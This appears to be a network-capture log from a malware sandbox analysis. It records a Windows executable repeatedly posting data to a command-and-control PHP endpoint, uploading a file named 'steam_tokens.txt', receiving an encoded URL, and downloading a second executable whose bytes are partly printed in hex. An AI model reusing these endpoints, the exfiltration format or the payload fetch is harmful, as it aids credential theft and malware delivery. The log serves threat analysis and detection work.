Apr 25, 2024 14:42:16.937652111 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:17.276804924 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:17.282232046 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:17.615958929 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:17.621004105 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:17.965348005 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:17.983102083 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJEC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:18.317006111 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:18.335302114 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:18.672183037 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:18.677005053 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGD Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:19.018448114 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:19.079807043 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFIIEBKEGHJJJJJJDAA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:19.425157070 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:19.431201935 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:19.772525072 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:19.778012991 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:20.113882065 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:20.118938923 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:20.447599888 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:20.454015970 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:20.789201021 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:20.794477940 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:21.131130934 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:21.138978958 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:21.482285023 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:21.488650084 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:21.834044933 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:21.839638948 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:22.179229975 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:22.184519053 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:22.522368908 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:22.527955055 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:22.868501902 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:22.874249935 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:23.210191965 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:23.217242002 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:23.548203945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:23.553731918 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:23.889503956 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:23.895248890 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:24.234291077 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:24.239881039 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:24.580420017 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:24.585865974 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKFBFIDGDBFHJJEHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:24.923681974 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:24.936317921 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:25.275019884 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:25.280560017 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHII Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:25.620822906 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:25.627011061 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:25.963886976 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:25.968904018 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:26.299711943 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:26.304801941 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:26.644373894 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:26.649741888 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAFIDBKEBFCBFIIIII Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:26.989032984 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:26.994342089 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:27.332052946 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:27.375916958 CEST	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.172.128.76 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file"------HDBGHIDGDGHCBGDGCBFI--
Apr 25, 2024 14:42:27.716660023 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:27.802711964 CEST	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDG Host: 185.172.128.76 Content-Length: 113719 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:28.499418020 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:28.541446924 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 68 65 72 37 68 34 38 72 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="message"her7h48r------IIEBKJECFCFBFIECBKFB--
Apr 25, 2024 14:42:28.878870964 CEST	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 52 Connection: keep-alive Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 78 4e 7a 49 75 4d 54 49 34 4c 6a 49 77 4d 79 39 30 61 57 74 30 62 32 73 75 5a 58 68 6c 66 44 42 38 4d 48 78 38 Data Ascii: aHR0cDovLzE4NS4xNzIuMTI4LjIwMy90aWt0b2suZXhlfDB8MHx8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	185.172.128.203	80	7428	C:\Users\user\Desktop\w3WOJ1ohgD.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 14:42:29.091852903 CEST	76	OUT	GET /tiktok.exe HTTP/1.1 Host: 185.172.128.203 Cache-Control: no-cache
Apr 25, 2024 14:42:29.301100016 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 12:42:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 21:15:46 GMT ETag: "85400-616de2c892480" Accept-Ranges: bytes Content-Length: 545792 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 08 c4 c7 27 69 aa 94 27 69 aa 94 27 69 aa 94 93 f5 5b 94 37 69 aa 94 93 f5 59 94 a0 69 aa 94 93 f5 58 94 38 69 aa 94 1c 37 a9 95 33 69 aa 94 1c 37 af 95 14 69 aa 94 1c 37 ae 95 05 69 aa 94 2e 11 39 94 22 69 aa 94 27 69 ab 94 7d 69 aa 94 8d 37 a3 95 25 69 aa 94 8d 37 55 94 26 69 aa 94 27 69 3d 94 26 69 aa 94 8d 37 a8 95 26 69 aa 94 52 69 63 68 27 69 aa 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 76 29 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 b0 06 00 00 b4 01 00 00 00 00 00 b6 80 05 00 00 10 00 00 00 c0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 9c 07 00 28 00 00 00 00 f0 07 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 6c 80 00 00 b0 80 07 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 81 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 31 af 06 00 00 10 00 00 00 b0 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa e2 00 00 00 c0 06 00 00 e4 00 00 00 b4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 b0 07 00 00 0e 00 00 00 98 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 f8 01 00 00 00 e0 07 00 00 02 00 00 00 a6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 40 28 00 00 00 f0 07 00 00 2a 00 00 00 a8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 80 00 00 00 20 08 00 00 82 00 00 00 d2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 60 bc 47 00 e8 ab 56 05 00 68 ff be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$c'i'i'i[7iYiX8i73i7i7i.9"i'i}i7%i7U&i'i=&i7&iRich'iPELv)f@@P(@( lp @.text1 `.rdata@@.data@ @.gfids@@.rsrc@(*@@.relocl @B`GVh
Apr 25, 2024 14:42:29.301141024 CEST	1289	IN	Data Raw: 46 00 e8 1c 73 05 00 59 c3 68 09 bf 46 00 e8 10 73 05 00 59 c3 68 13 bf 46 00 e8 04 73 05 00 59 c3 68 1d bf 46 00 e8 f8 72 05 00 59 c3 b9 a0 bd 47 00 e8 71 56 05 00 68 27 bf 46 00 e8 e2 72 05 00 59 c3 55 8b ec 83 ec 0c a1 6c b0 47 00 33 c5 89 45 Data Ascii: FsYhFsYhFsYhFrYGqVh'FrYUlG3EUEVUNEQWFPfyM3^{k]UVWFPFfEPy^]IpvGEUVFFPyEtj
Apr 25, 2024 14:42:29.301187038 CEST	1289	IN	Data Raw: 3e 00 75 64 6a 18 e8 06 69 05 00 8b f8 83 c4 04 89 7d 08 8b 4d 0c c7 45 fc 00 00 00 00 8b 51 04 85 d2 75 07 b9 a0 76 47 00 eb 0a 8b 4a 18 85 c9 75 03 8d 4a 1c 51 8d 4d ac e8 dc fb ff ff 8d 45 e0 c7 47 04 00 00 00 00 50 c7 07 58 c7 46 00 e8 90 58 Data Ascii: >udji}MEQuvGJuJQMEGPXFXMG>MdY_^]UAPEPX]US]3Vu+W3;uGtAEPPyXGEF;u_^[]
Apr 25, 2024 14:42:29.301201105 CEST	1289	IN	Data Raw: 01 8a 08 40 84 c9 75 f9 2b c2 3b f0 72 e3 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 55 ba 46 00 64 a1 00 00 00 00 50 53 81 ec 80 00 00 00 a1 6c b0 47 00 33 Data Ascii: @u+;r_^]SUkl$jhUFdPSlG3EVWPEd(~GGG0G)88z(\|G G4G`%Z/8G,QWEhGMEE~r>?u3QAu+QjEP
Apr 25, 2024 14:42:29.301301003 CEST	1289	IN	Data Raw: 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d c4 33 d2 e8 33 f8 ff ff c7 45 c4 00 00 00 00 c6 45 fc 0c 8b 4d d4 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 45 d8 85 c0 74 12 f0 0f c1 70 20 4e 75 0a 8b 4d d8 33 d2 e8 f3 Data Ascii: tA uM33EEMt@tjEtp NuM3EEMt@tj(p}GGGG31zG`%Z/GQWEhGMEE~r>?u3
